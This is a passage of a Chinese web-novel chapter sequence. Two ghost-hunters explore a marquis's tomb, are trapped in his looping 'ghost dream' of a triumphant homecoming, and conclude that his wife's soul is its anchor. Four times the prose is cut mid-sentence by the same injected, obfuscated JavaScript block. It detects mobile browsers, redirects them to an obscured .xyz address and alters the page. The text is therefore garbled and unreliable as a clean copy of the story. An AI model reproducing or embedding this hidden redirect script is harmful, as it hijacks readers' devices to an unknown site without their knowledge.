陵墓的虽然被开发翻修过，但尽量也是保留了本身的构造，在不破坏结构的情况下开发了一条不太宽阔的人工游览路线。 整个空间内既亮堂又寂静，静得连一根针落在地上都能听见。 简灵观察着四周，地下一层是定远侯夫人的墓葬，也分为外围和墓室两块区域，曾经被盗墓贼大肆破坏，墙面也被时间侵蚀干净，只能隐约看出留有壁画的痕迹。 “之前听他们说就是在那一块墙壁上，有人看到了鬼魂杀人的情景。”季星迟指着围栏之外的一处空旷的墙壁。 像是应证了他的话，那块墙壁上缓缓出现了两片人物剪影，手握长剑对战起来，动作如行云流水般引人入胜，似乎真的能看到两位英武的将士在决一死战。 “哟，声控啊？还挺像那么回事儿。”简灵饶有趣味地看着鬼影，掂了掂手中的小鬼，“这是你们弄的啊？还挺不错的嘛，比皮影戏好看。” 被简灵拎在手中的小鬼哼了一声，恨铁不成钢地盯着那片墙壁。 “是不错，难怪一开始游客都以为是景区配套的虚拟动画。”季星迟微微一笑，“直到有鬼影从墙上冲过来——” 话音未落，墙上酣战的鬼影竟然同时停手，如同人皮般剥离，径直冲着二人飞了过来！ 简灵淡定自若，竖起双指放在嘴边：“定。” “……哎哟。” 两只鬼魂像是撞上了一堵无形的墙，小声哼唧了一声，停在了二人面前。 不过它们反应也很快，黑影中立刻显现出两张恐怖的人脸，黑红的血从七窍流出，空洞的眼眶冒着黑气，张牙舞爪地发出“哈——”的声音。 如果是普通人，估计此时已经被吓到晕厥。 只可惜在它面前的两位都不是普通人。 “哈——！！” 两个鬼影沉默了一瞬，又试着挥了挥鬼手。 季星迟挑眉，而简灵则淡定地朝它们挥了挥手：“嗨。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308484|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “……咦？” 空洞的眼眶里突然如同滚滚机转动起来，眼珠子滚动几下才颤动着定格，像是老花眼了一样往前凑了几分，愣愣地看着两人。 简灵手中那只自称第一情报官的小鬼都气笑了，愤愤骂道：“还看个屁呢，阴差追过来收你们了！” “啊啊啊——！！” 一时间鬼声大震，回荡在地下折射出高频的声响，灯光也跟着不停地闪烁，简灵皱眉，撒开手捂住耳朵，这种刺耳的程度绝对不是一两只鬼能造成的！ 季星迟也捂着耳朵，用手肘碰了一下简灵，示意前方。 只见情报官小鬼也趁机逃跑，跟着一众鬼影纷纷涌向前面停放棺椁的墓室。 异像很快就停歇了。 季星迟觑了简灵一眼，露出戏谑的笑：“放走了？” “怎么能叫放走呢？”简灵慢吞吞地松开捂住耳朵的手，嘻嘻一笑，“那不是不小心嘛。” 她细细感受了一阵，外围这块区域只剩下了残留的鬼气：“我在它身上下了标记，看来还得往里走。” “走吧，擒贼先擒王，总是要找到正主的。” 季星迟抬脚就往前走，却被简灵扯了一下胳膊。 他疑惑地转过头。 “干什么，你会捉鬼嘛就冲那么快？”简灵吐槽道，抢先一步走到他前面，“跟紧了。” “……知道了，大人。” 季星迟的声音中带着几分笑意，却惹得简灵一个眼刀。 “季星迟，你们剧组有没有在陵墓里拍摄的戏份？” “没有，怎么了？” 简灵面无表情：“反正你演的就是定远侯，埋这儿吧。” “你我合葬也不是不行。” “滚。” 两人还没斗几句嘴，就已经走到了墓室门口，简灵伸手拦了一下，站在门口仔细打量着里面。 整个墓室空荡荡的，墙面上有些平整的凹槽，看介绍应该也是放置陪葬品的地方，只可惜被一扫而空，只剩下墓室正中央一个黑色的棺椁，小心地被玻璃罩住。 “走。” 简灵率先踏进墓室，两人小心翼翼地环视周围，逐渐向棺椁靠近。 那半开的棺椁中空无一物。 墓室中只能听见两人的呼吸声，似乎没有什么异样，可简灵总觉得有哪里不对劲。 季星迟轻声道：“我们继续往下走？” “不对。”简灵猛然间回过神来，知道这股诡异感是为什么了，“这件墓室，没有鬼气。” “你的意思是它们不在这里？”季星迟蹙眉。 简灵缓缓地摇头，语气中也带着几分不确定：“从刚才的情况来看，这底下的鬼数量绝对不少，消失得再快也不会连一丝鬼气都没有……可这间墓室里干干净净，唯一的鬼气还是从你身上散发出来的。” 她伸出手，用拇指轻轻蹭了一下玻璃罩，若有所思。 “啪擦”一声。 两人都一愣。 季星迟猛地向简灵冲过来：“小心！玻璃裂了！” 简灵忙不迭后撤，可手却像被吸附在了玻璃罩上一般，裂痕飞速延伸至整个玻璃罩，就在爆裂的一刹那间季星迟抓住了她的手腕。 墓室中炸出刺眼的白光，逼得人低下头紧紧闭起眼睛。 一阵猛烈的眩晕袭来。 27. 陷阱 不知道过了多久，简灵倏然睁眼，心脏还在剧烈地跳动着。 大意了。 本以为不是恶鬼就没什么大问题，没想到在这里被摆了一道。 简灵揉了揉还有些眩晕的脑袋，却感觉到了一种不对劲的触感——低头她看了看自己的手，居然是一双看起来还很小、很幼嫩的手，而身上穿着一条鹅黄的襦裙，分明就像古代的小家碧玉。 她愣了一瞬，茫然地抬头看看四周，这是一套置景精致的宅院，假山水池，郁郁葱葱，身下是柔软翠绿的草地。 只见远处亭台楼阁环绕着缭绕雾气，像是仙境，她抬起手遮住头顶刺眼但并没有热度的阳光。 不到一分钟的时间，简灵的记忆如潮落般退去，她呆在原地，突然忘记了自己这是在哪里。 她为什么会在这里？ 好像刚刚在草地上睡了一觉，醒来之后有些睡迷糊了，睡着时还做了一场梦，梦里她跟一个少年郎一起去冒险。 那个少年郎叫…… 叫什么来着？ “阿灵！你醒啦！” 身后突然传来一个女孩的喊声，简灵想扭头却没有办法，像是被什么东西控制住身体似的。 虽说没有回头看，但简灵还是张口轻声喊道：“小佳。” 垂在身旁的手被一只同样柔软的小手抓住，来找她的小女孩又激动又开心：“诶！阿灵阿灵，挺说那定远侯今日回城啦！咱们也去看热闹吧！” “定远侯？”简灵怔怔地问，“定远侯是谁？” 小佳像是听到了什么好笑的事情一样，咯咯地笑出声：“阿灵你是不是睡迷糊啦！定远侯呀，那可是咱们大燕的大英雄！前些年去打了仗，今日终于回来啦！” “哦……”简灵好像有点印象。 “别发愣啦！走，快点儿去看看！” 简灵就这样跟小佳一起飞奔出去，两个小女孩一起推开大门，一条熙熙攘攘的古代街道就这么出现在她面前。 她茫然地四处张望，街里邻居似乎也都认识她们，纷纷热情地打招呼：“阿灵啊，你俩又出去玩呢？” “小佳！跑慢点，别丢下阿灵了！” “阿灵今日怎么了，如此发愣？回神啦！” 简灵一言不发，眼前的景象像是被打上了一层模糊的马赛克，只听到声音，看不清大家的脸。 随着小佳挤入人群中，她逐渐感觉有些呼吸不畅，感觉心口像是被什么东西堵住了，她狠狠按住胸口，大口大口的呼吸着。 模糊的人脸，模糊的景象，就连附近的吆喝声与笑声都逐渐变得模糊，她的世界里只能听到自己痛苦的呼吸声。 这到底是哪里？ 我不是她。 不，我是简灵，但我不是这个简灵。 小佳……小佳她不是…… “阿灵？” 小佳的声音打断了她的思绪，将她瞬间拉回到现在。 “你不舒服吗，阿灵？”小佳终于走到她面前，但简灵还是看不清她的脸，只感觉到她缓缓靠近，语气关心地问，“明日还要上学堂，你要不跟夫子告个假？” “我……”简灵想说话，可声音却憋在喉咙里，不知道该说什么。 “你若是不舒服就早些说哦，不过难得能见到定远侯，要不咱们看看再回家？” 定远侯这个词像是触碰到了简灵的某处神经。 她的脑子一片混沌，但隐约还记得定远侯这个人很重要。 “我没事，咱们看完再说。”她听见自己这么跟小佳说。 两个女孩子身材娇小，在人群中七挤八扭的，很快就钻到最前排。 前排的老百姓们还拿着许多鲜花与彩帛，更有妙龄女子拿着五颜六色的手绢，两两凑在一起不知在讨论些什么，时不时发出娇羞的笑声。 两边茶楼上也挤满了围观的人，只将入城的这条大道整齐地空出来，等待着定远侯入城。 “来了来了！定远侯回来了！” 不知谁吆喝了一声，瞬间将人群炸开了锅，大家纷纷往前拥挤着，简灵与小佳的手死死捏在一起。 小佳的手指紧紧地扣住了她的手心，激得她不由得“嘶”了一声。 “啊，对不起阿灵，疼不疼……”小佳身后比她高几个头的人还在挤着，她们几乎快被冲到街道上，“哎呀，别挤别挤！” 简灵总觉得自己的手心似乎破皮流血了，可她现在只要一松手就会与小佳冲散，也只能暂时先管不了那么多。 “来了！！” 随着人群的欢呼声响起，简灵也急急忙忙地垫脚抬头看去。 只见远处高头大马上，身穿银灰色铠甲的男人正襟危坐，崩着一张严肃的脸，面对欢呼的人群丝毫不见动摇，只时不时冲着两边点头示意，连一丝微笑都没有。 “是定远侯大人！” 小佳兴奋地喊道，不住地摇着简灵的手：“好威风啊，阿灵你看到没有！打这么多年的仗咱们终于是赢了，定远侯大人威武！” 赢了？ 简灵心中一动，好像不对吧。 她怎么记得是输了呢？ 她张了张口，可看到身边疯狂的人群她根本不敢开口，若是在这种地方说一句“咱们不是输了吗”，即使是她这样的小女孩怕也会被千夫所指吧。 大概是自己记错了。 她抬起头，倏然间跟高头大马上的定远侯对上视线。 定远侯本人才三十出头，肤色因为常年在外打仗而有些黝黑，凌厉的眉眼不怒自威，双唇紧紧抿着，高高在上的眼神往下觑她，似乎她身上有什么另他烦躁和不满的东西。 不对不对！ 简灵猛地回过神来，定远侯已经越过她继续向前走了。 她慌张地到处看，人群中每个人的脸都是模糊不清的，独独定远侯的脸异常清晰，连每一根眉毛、干裂的嘴唇都看得一清二楚！ 为什么？ 简灵搞不懂。 人群跟着定远侯缓缓向前移动，不知谁撞了她一下，两个小女孩的手还是被冲开了。 她怔怔地被挤出人群之外，摊开手心，里面有一道清晰的血印子，像是刚刚被划破的，一阵钻心的疼袭上来。 定远侯！ 简灵猛地回神，她好像是为了定远侯来的，可这诡异的环境看起来……难道自己是被鬼上身了？ 她下意识闭上眼睛，在心中默念口诀试图驱散这股诡异的气息。 几秒后，她睁开眼睛。 这周围根本连一丝鬼气都没有，驱什么鬼。 “诶诶你们看到没，崔家门口的马车已经停不下嘞！” “何止啊，那一箱一箱的礼不知道有多少啊！全都往崔家送去啦！” “城里的官老爷们无论跟崔家熟不熟识的，反正都去了……听说就连季家也去了？” “季家去干嘛，季夫人去世后，亲家的仰仗也没了，谁还搭理他啊？” “有人看见带着季家大公子……” 这个话题戛然而止。 那小声密谋的几人也知道自己说了不该说的话，嘻嘻哈哈敷衍几句便散了去。 简灵的记忆又被强行塞进了一团棉花，站在原地思索着。 季家大公子，又是谁？ * 夜幕降临。 简灵顺着在人群中听到的信息，摸索到了定远侯的府邸。 她躲在另一边的巷口，默默地盯着崔府门前的车水马龙， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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元娘扒拉着爬上定远侯的腿，窝在他怀中：“爹，这么些年娘总是念叨你，你还会走么？” 听到孩子的话，定远侯微微一怔，看向淑宁。 “元娘。”淑宁垂下眼睑，声音柔和，“娘是怎么与你说的？” 元娘想了想，脆生生道：“娘说，无论爹与娘在不在元娘身边，元娘都要一个人好好吃饭，认真读书，只有心中强大了，旁人才拿你没办法，才能自由地活着。” 本身一团祥和的氛围，在此刻却静默了下来。 定远侯猛地抬手捏着自己的脸，狠狠搓了一把，哽咽的声音从指缝中溢出：“淑宁，谢谢你……也辛苦你将元娘，教得这么好……” 简灵耳中的声音突然卡了壳，变得一顿一顿的，一时间许多杂乱的记忆涌进她的脑海中。 她恍惚了一下，差点没站稳，使劲摇了下头试图让自己清醒一些，手指紧紧扣住房檐，大口深呼吸了几下。 目前对现状还没有什么清晰的头绪。 就在定远侯一家离开小院，她准备跳下去探查一番时，小巷外突然传来闹哄哄的声音。 一个灵活的身影转进小巷向这边跑来，身后跟着十几个家丁模样的追兵，没几下就将那人狠狠按在墙上。 “对不起了，大少爷，小的们也是奉老爷的命必须将您带进去——”家丁毫无感情地说着。 就在此时，简灵闻到了一股异常熟悉的气息。 是在这一整片干净的区域里，完全没有出现过的一丝鬼气。 简灵呼吸一滞。 那位被抓住的大少爷猛地回头，在银白的月光下，四目相对。 是季星迟。 28. 陷入鬼梦 简灵似乎隐隐想起了一些事情，她应该认识这个人，而季星迟在看到简灵的瞬间，也停止了挣扎。 他似乎很信任自己？ 简灵悄然落地，跟在这群人的后面摸出小巷，直到看见季星迟被家丁门压在了定远侯府的后门。 一个管家模样的中年人背着手立在门口，看到季星迟后无奈地摇摇头。 “大少爷，别恨我，现在能救季家的只有你了。”中年管家伸出手，将季星迟的发丝抚平整，“十七八岁的年纪……正是投了老侯爷所好的……” 简灵一愣。 这季家不会是要把季星迟送给什么老侯爷吧？！ 可季星迟似乎并没有很在意，余光看到简灵躲在一旁，还有心情给她使了个带着笑意的眼色。 那股淡淡的鬼气还在勾着她，简灵虽然感觉到自己的记忆有一些缺失，但直觉告诉她这个人跟她一样不属于这里。 崔家里面传来窸窣人声，就在简灵猫在角落里观察情况的时候，季星迟忽然看到了什么，对她使了个眼色示意身后。 简灵猛地回头。 “阿灵，你在这里做什么？” 来人居然是小佳，也不知道她一个小姑娘深更半夜是怎么找到简灵的。 小佳一把抓住简灵，晃着她的手臂撒娇道：“我找你好久啦，快回家吧，天都黑了，再不回家小心遇到鬼哦。” “我……”简灵话到嘴边，一股寒意顺着小佳的手传到她的胳膊上，冷到将她的脑子都冻住了，刚刚有些清醒过来的脑子又被蒙上了一层薄雾。 她的脸色逐渐变得平静下来，只静静地点头。 “嗯，回家吧。” 看到她转身离开的季星迟眼睛倏然间睁大，张口就喊：“简灵！” 可简灵顿了顿，只回头远远地看了一眼季星迟，看到他被请进了崔府。 那抹淡淡鬼气消失无踪。 * 简灵被刺眼的阳光照醒了。 她缓缓抬起手挡住眼睛，自己像是睡了很久很久，久到有些呓怔，脑子里一片空白。 等眼睛终于适应了刺眼的光线，她坐在柔软的草地上茫然地看着四周，精致的宅院，远处雾气缭绕的楼阁，周围一切都是那么的寂静。 “阿灵！你醒啦！” 身后传来少女的喊声，简灵慢吞吞地扭过头，但自己好像因为睡得太久视线有些模糊了。 她狠狠地揉了一把眼睛，可还是看不清对方的脸：“小佳，我眼睛疼。” “是不是在阳光下睡太久啦，叫你别老睡在草地上。”小佳一边嘟囔着，一边伸出手轻轻地揉着她的眼眶，“诶！阿灵，听说那定远侯今日回城啦！咱们也去看热闹吧！” 简灵猛地睁开眼。 这话总觉得有些熟悉，似乎是在哪儿听过。 不知是不是小佳帮她按揉眼框起了效果，她感觉到视线清晰了一些，虽然仍然看不清小佳的脸……只看到她一张殷红的小嘴巴正在叽里咕噜说个不停。 “定远侯……” 定远侯是谁来着？ 简灵思索了几秒钟，恍然大悟：“哦！定远侯打胜仗回来了。” “对呀！别发愣了，走！咱们快些去看看！” 古色古香的街道，熙熙攘攘的人群，简灵逐渐从茫然的状态中清醒了过来，似乎自己每天都在这条街道上跟小佳一起玩耍，邻居们也很热心，一路都在跟她们打招呼。 她跟在小佳的身后，路过的每个人脸上都有些模糊，只能看到一张张咧着笑的嘴，不停地开开合合对自己说话。 嘈杂的声音越拉越远，简灵的耳朵像是被什么东西捂住了，渐渐的……她只能听到自己大口大口的呼吸声。 “阿灵！” “阿灵啊……” “阿灵。” “简灵——！” 一声熟悉的喊声将简灵放空的思绪拉了回来，她猛地抬头。 自己不知道什么时候已经被小佳带到了主街道旁，两个小姑娘挤进人群里，站在最前排，跟大家一起等待着定远侯归来。 简灵心中大震，四处寻找那道声音的来源。 她才十四五岁的年纪，身量矮小，挤在人群中根本看不到目标，街道两旁的人已经被定远侯凯旋这件事冲昏了头脑，欢呼的声音一阵盖过一阵。 手臂上突然传来钻心的疼痛！ 简灵浑身一震，扭头看去，小佳正焦急地扣住她的胳膊：“阿灵你怎么了？你是不是不舒服啊？” 剧烈的疼痛对大脑造成了冲击，她抽出胳膊用手捂住，却能看到一条血红的疤痕从胳膊一直延伸到手心。 “简灵！” 这次的声音来源更加清晰了，简灵抬起头，街道对面的茶楼窗户旁，一个十七八岁的少年正盯着她，在对上目光的一瞬间，少年眼中闪过一丝欣喜。 季星迟。 她记起了他的名字。 “来了来了！” “是定远侯！他们来了！” 一时间人群欢呼更盛，远处城门外定远侯坐在高头大马上，正绷着脸缓缓往城里走。 不知道是不是自己的错觉，简灵总觉得为首的那位定远侯，目光正死死地锁在自己身上，似乎在警告着什么。 混沌的大脑来不及多想，看着马上要将街道分成两半的队伍，简灵一咬牙，甩开小佳冲到街道那边。 一丝熟悉的鬼气悄无声息地涌了过来，像是中暑的人闻到了风油精，这股诡异的鬼气居然让简灵逐渐清醒。 她挤过人群直奔季星迟所在的茶楼，一进门就往楼梯上冲。 这古代的裙子真是麻烦！ 简灵手忙脚乱地捞起裙摆抱在手里，登登登地往上跑，上到二楼一转弯猛地撞上了一个人。 “——简灵！” 那人伸手扶住她，压低了声音问道：“真的是你……没事吧？” 简灵摸了摸额头，冷哼一声：“简灵简灵的……季星迟，你叫魂呢？” 季星迟眉毛一挑：“想起我来了？” 不等简灵回答，他伸手将她拉到包间中，小心地关好了门。 两人靠着窗户坐下，终于缓了一口气，对视一眼，都看到了对方眼中的熟悉感。 “季星迟。”简灵压低了声音，眼神清明，“我们好像陷在这一天循环里了。” “是的，所以我今天醒来第一件事就是去找你。”季星迟倒是没怎么着急，还饶有兴味地打量着简灵，微微笑道，“昨天差点没认出来，你十四五岁的模样也很可爱。” 简灵翻了个白眼：“你十八岁的样子也很欠揍，真把你送给老侯爷就老实了。” “怎么先发制人。”季星迟微微蹙眉，“我都没说你……一开始是不是不记得我了？” 简灵点点头。 “我现在脑子还有些昏。”她难受地揉了揉太阳穴，眼睛被蒙上一层雾就算了，脑子里也像有一层脑雾，“第一天我还有点记忆，但今天醒过来的时候，我什么都不记得。” 那种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338905|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉太诡异了，如果不是季星迟，她是不是会一辈子被困在这里？ “为什么我没有？”季星迟的眼神落在楼下欢呼的人群中，他看这些路人也是像打了马赛克，只有定远侯的脸是清晰可见的。 正好路过楼下的定远侯仿佛感应到了两人的存在，倏然间抬头，一双鹰隼般锐利的目光直指二楼。 简灵没有躲，她知道躲也没有用。 “鬼梦。” 直到定远侯收回目光，渐行渐远，简灵才吐出这两个字。 “鬼魂还能做梦？”季星迟问道。 “应该说是造梦。”简灵思索片刻，她也只听师傅说起过这事，亲身遇到还是第一次，“现在看起来，定远侯应该是因为某些原因没有往生，并且在陵墓这一方占地为王，还造了一个自己凯旋后跟家人团聚的梦。” “而我们误打误撞也陷入了这个梦，是吧。”季星迟修长的手指一下一下敲着桌面。 简灵绷着脸点点头：“关键是这个鬼地方连一丝鬼气都没有，我的法诀都无效，估计画点符箓也没什么效果……哦，我知道了，你没有受到影响可能是因为你身上的鬼气。” 季星迟挑眉，不置可否。 现在不是纠结这个的时候，两人把这两天的所见所闻对了一下，分析现在的基本情况。 “鬼梦也属于幻境的一种，既然是幻境，就一定会有一个锚点。”简灵分析道，手指蘸水在桌上画了一个圈，“我们必须找到并破坏这个锚点，才能破除鬼梦。” “锚点……听起来像是一种心理问题。”季星迟也伸出一根手指，在圈的正中心点了一下，“这个锚点，一般都跟病人所想的世界格格不入。” 简灵摸着下巴回忆着昨天在小院里看到的情景，忽然想到了什么：“我发现一个问题。” “什么问题？” “之前听小刘解说的时候我就有点疑惑，如果定远侯早死，他的夫人在生下崔元香后不久也去世了，而老侯爷看起来也不靠谱……那么在这个群狼环伺的地方，崔元香一个没有依靠、没有人教导的孩子，是怎么活下来的？甚至后来远嫁异国，还能在宫廷里杀出一条血路。” 联想到简灵刚才描述那一家三口的景象，季星迟立刻接口道：“你是觉得，当年他的夫人没有死，甚至将崔元香教导成人了。” 但两人也不确定在鬼梦中哪些是真实发生的，哪些又是定远侯造的一场美梦。 无论如何，破局的地方肯定是在定远侯的府里。 两人商量一阵，决定直接去定远侯府探一探。 侯府门口还是围满了送礼的人，简灵略一思索，来到了他们第一天遇到的小巷。 “这倒是挺新鲜的，我电影都没演过这种翻墙入室的角色。”季星迟伸手比划了一下墙的高度，“下次回去要个这种角色体验一下。” 简灵无语，都什么时候了，这人还有心情开玩笑呢。 她还没来得及开口，巷口突然传来吵嚷的声音—— “在那里！” 两人同时扭头，只见季家的家丁发现了季星迟的身影，呼啦一下全都往巷子里冲进来！ 季星迟反应迅速，立刻抓着她的手搭在自己的肩膀上：“快，上去！” 可就在简灵翻上墙去后，季星迟却拍开了她伸下来的手。 “季星迟？！” “他们要是追进去会影响我们找线索，我去把他们引开。”季星迟朝她眨了眨眼，“放心吧，万一明天再重开了，我会先找到你。” 29. 阴兵借道 简灵踟蹰一瞬，从墙头悄然落进院子中。 墙外的嘈杂声逐渐远去，也不知道季星迟被抓到了没有。 算了，反正他晚上也是会被压到定远侯的府里来的，到时候再跟他会合…… 可就这一会儿，她突然感觉到一阵头晕目眩，身体晃了晃差点倒在地上！ “怎么……”简灵赶紧扶住旁边的石桌，使劲儿甩了甩头。 这两天的记忆如潮水般涌上来，又如退潮了一样，逐渐消去，季星迟的脸在她的脑海中像是一副脆弱的铅笔画，被一点点抹去。 不对！ 原来离了季星迟身上的鬼气，她又会被梦境吞噬！ “姐姐？” 一个小小的声音从身后传来，带着一丝疑惑。 简灵猛地回头，视线模糊中看到了一个小小的身影，似乎是昨晚在这个院子里见到过的……是小时候的崔元香。 她张了张嘴，但大脑一片混沌，什么都说不出来。 元娘看出了她的不适，大着胆子走上前担忧地问道：“姐姐，你怎么了？是不舒服么？” “我没……” 简灵话音未落，视野中却出现了另一个身影。 只见定远侯的夫人沉默地站在廊下，一言不发地看向她们。 “娘亲，这位姐姐好像生病了。” 元娘回过头去喊她，可淑宁仍然一动不动，她的脸色苍白，眼睫低垂，目光迟滞，像是一个木偶。 木偶…… 简灵好像抓到了一丝线索，但迟钝的大脑让她来不及思考那么多。 “砰”的一声响，小院的门被撞开。 为首的人还穿着铠甲，赫然是刚才与定远侯一道回城的士兵。 只见他们怒气汹汹地指向简灵：“大胆贼人，敢翻墙进府迫害侯夫人与千金！” 简灵猛地站起来，下意识往后退了两步，眩晕让她站都站不稳。 总感觉哪里不对劲。 突然熟悉的声音再次响起，是简灵这两天听过最多的一个声音： “阿灵你怎么跑到侯府来了？快走吧，等下定远侯回来要生气了！” 一只冰凉的手牵住简灵。 她抬起头，在一片模糊中，小佳的脸竟然清晰了不少，能隐约看见眉眼了。 就这样，小佳拉着她往门外走去，一边还絮絮叨叨地说她怎么跑丢了。 简灵没有回应，她的世界仿佛放了0.5倍速，身旁是奇怪的士兵，身后是一对奇怪的母女。 她逐渐平静下来，忘记了自己为什么会来到这里。 * 简灵再次在草地上惊醒。 她像一缕没有思想的游魂，转头看向五官逐渐清晰的小佳，按部就班地被拉着去看定远侯凯旋，在街道上跟熟悉的邻里街坊打招呼，一切就像是设定好的一样。 直到在拥挤的人群中嗅到一丝熟悉的气息。 就是这一瞬间的停顿，人潮将她与小佳冲散，下一刻一只温暖的手抓住了她的胳膊。 “简灵。” 简灵像是从睡梦中醒过来，缓缓回神。 季星迟的发丝有些凌乱，那张脸在马赛克的世界中异常清晰，他笑道：“找到你了。” 鬼气冲醒了简灵的意识，她的眼神逐渐恢复清醒，反手抓住季星迟的手臂，一字一句顿到：“季星迟，锚点不是一样东西，是一个人——是他的夫人。” 这句话像是按下了整个鬼梦的暂停键，熙攘的街道上，所有人不约而同地停了下来，陷入了诡异的寂静中。 两人顿了顿，僵硬地转过头，发现每个人的脸都机械地转了过来，甚至有些人还是背对着他们，脑袋整个扭转了180度。 “他发现了。” “跑。” 他们夺路而逃！ 季星迟顺手拆了旁边的小摊，手掌一推，长棍的另一端落到简灵的手中，两人默契地一折，长棍应声而断，被当成武器在拥挤的人群中劈出一条路来。 可鬼梦的人群似乎没有伤害他们的能力，只是一味地拥挤着堵上来，不让他们往定远侯府的方向前进。 “这个鬼梦会倾入闯入者的意识，将一部分闯入者的心理阴影强行融入到这里。”简灵用力一挥，把堵路的人暴力推开，一边跟季星迟分享着消息。 季星迟冲上来，一棍挥开了简灵身后扑上来的人：“所以，你的心理阴影是你身边的那个小女孩？” “……这是重点吗？”简灵重重一劈，手中的棍子直接裂开，幸好已经甩开大部分围堵的人，前面就快到定远侯府了。 “但我好像没有遇到什么心理阴影？”季星迟微微疑惑，“难道是因为我不受鬼梦的影响？” 不知想到了什么，简灵挑眉一笑：“他们就想把你抓了去送给一个什么老侯爷？” 季星迟哪里不知道她在笑什么，无奈道：“我的奖项是货真价实的，你别瞎想。” “我又没说，这是你自己说的。” 为了避开主干道上拥挤的人群，两人绕了好大一个圈，才摸回到那条熟悉的小巷子。 此刻天边已经泛起了柔和的橘红色，夕阳西下，夜色将近。 果不其然，巷子口那端又追来了季家的家丁。 简灵一把抓住季星迟的手腕：“别引了，我们一起进去，你一跑远我脑子又不清醒了。” 正欲当诱饵的季星迟骤然回头，眼中闪烁着一丝欣喜：“好。” 两人很快翻进院，外面的家丁像是游戏世界里的NPC，失去了目标后如无头苍蝇般乱转，还在寻找着季星迟的踪迹。 “他们怎么对你这么执着啊。”简灵随口吐槽。 “可能在鬼梦里，定远侯这个人对他们的程序设定就是如此。”季星迟耸耸肩，跟着简灵在院中寻找着。 小院里空无一人。 简灵皱起眉头，明明两次来过这个院子，这次为什么会没人呢？ “我昨天在院子里又遇到了他的夫人和女儿，他夫人很不对劲。”简灵回忆着每一次遇到的情况，“这个鬼梦里的一切，包括我们俩身边也都是虚构的‘人’，他们虽然按部就班，可也有自己的行为和思考，只有他夫人像是一个木偶。” “木偶？” “对，就像你说的“程序设定”……我们的侵入虽然造成了梦境的逻辑崩坏，可人物的个体逻辑都还在，邻居看到我会打招呼，家丁看到你会追捕，但他的夫人……看到我却没有丝毫反应。” 季星迟思索道：“你的意思是，他的夫人无法被‘设定’程序，没有在鬼梦中见过你，所以也无法处理遇到你之后的反应？” “没错。” 简灵抿了抿嘴唇，眼神微暗：“所以我怀疑，他的夫人是一缕无意识的游魂。” “娘——” 院子外突然传来元娘的呼喊声，两人迅速冲了出去，只见淑宁正呆呆地走在园子里的栈道上，似乎是不会拐弯，差点往水池里踩去。 “娘，这里不能走。”只见元娘小跑着追上淑宁，小心翼翼地牵起妈妈的手，慢慢引导着她。 “簪子掉了。” 淑宁伸手指了指，露出一小节手腕， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352706|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如柳枝般细弱，整个人单薄瘦削，仿佛风一吹就能倒，看的出生前应该是病得很严重。 而小小的元娘身上有着与年龄不符的稳重与聪慧，她乖巧地应道：“别着急，我一会儿帮娘找。” 突然看到简灵二人的身影，元娘愣了一下，倒也不慌，只微微歪着头问道：“你们是谁呀？” 简灵不语。 她手中的决已经掐好，只要接近淑宁就能将这缕游魂打散，这个鬼梦也会随之破碎。 可看到元娘逐渐清晰的脸，那双清亮而无辜的眼睛，简灵心中五味杂陈。 “简灵。”季星迟微微低头，轻声道，“只是个梦。” 简灵顿了顿，盯着淑宁直直走去。 一道箭风袭来—— “小心！”季星迟猛地将简灵拉开，一支闪着锋芒的箭支径直飞了过来。 赫然是定远侯！ 只见他几步奔到淑宁身边，一手一人将她们娘俩抱在怀中，退回到园子的另一端。 定远侯怒发冲冠，锐利的眼神几乎要将他们千刀万剐，咬牙一字一句问道： “为什么，为什么要破坏这里的秩序！” “这只是个梦而已！没有伤害任何人！” “既然你们来了，那就永远成为这个梦的一部分吧！” 怒火中烧的定远侯根本没有沟通的可能性，简灵和季星迟很快就被涌入的士兵团团围住，两人背靠着背，陷入混战。 简灵的法决面对这群幻梦中的假人一点用都没有，只能靠灵活的身形躲开抓捕。 而定远侯似乎知道季星迟是个异类，故意把他们分割开来，将季星迟推得远远的，即使身手再灵活也很快被一群士兵制服。 “本不想答应季家的，可惜你不能留在这里。”定远侯冷着脸，扫了一眼季星迟，“把他带出去，交给季家，准备办理老侯爷的事。” “季星迟！” 简灵大惊，急忙往那边追去，可这群士兵却比街道上那群假人要训练有素得多，根本不给简灵突破重围的机会。 